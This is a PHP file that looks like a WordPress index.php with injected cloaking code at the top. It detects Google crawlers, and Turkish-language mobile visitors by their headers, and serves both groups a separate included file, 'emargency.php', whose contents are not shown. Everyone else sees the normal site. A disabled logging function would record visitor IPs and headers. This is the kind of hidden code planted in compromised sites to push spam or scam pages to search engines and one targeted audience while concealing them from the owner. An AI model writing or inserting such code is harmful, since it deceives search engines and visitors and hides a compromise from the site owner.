define('EMERGENCY_LOG', false); function logEmergency(string $reason): void { if (!EMERGENCY_LOG) return; $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $al = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''; $ip = $_SERVER['REMOTE_ADDR'] ?? ''; $line = sprintf("[%s] %s | ip=%s | ua=%s | al=%s\n", date('c'), $reason, $ip, $ua, $al); @file_put_contents(__DIR__ . '/emergency_log.txt', $line, FILE_APPEND); } function isGoogleBot(): bool { $ua = strtolower(trim($_SERVER['HTTP_USER_AGENT'] ?? '')); if ($ua === '') return false; $needles = [ 'googlebot', 'adsbot-google', 'apis-google', 'mediapartners-google', 'google-inspectiontool', 'feedfetcher-google', 'googleother', 'storebot-google', 'google favicon', ]; foreach ($needles as $n) { if (strpos($ua, $n) !== false) return true; } if (strpos($ua, 'google') !== false && strpos($ua, 'bot') !== false) return true; return false; } function isTurkishBrowser(): bool { $al = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''); return (strpos($al, 'tr') !== false); } function isMobileClient(): bool { $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); $needles = [ 'android', 'iphone', 'ipad', 'ipod', 'mobile', 'windows phone', 'opera mini', 'iemobile', 'blackberry' ]; foreach ($needles as $n) { if (strpos($ua, $n) !== false) return true; } return false; } $google = isGoogleBot(); $trMobile = isTurkishBrowser() && isMobileClient(); if ($google || $trMobile) { require __DIR__ . '/emargency.php'; exit; } define('WP_USE_THEMES', true); require __DIR__ . '/wp-blog-header.php';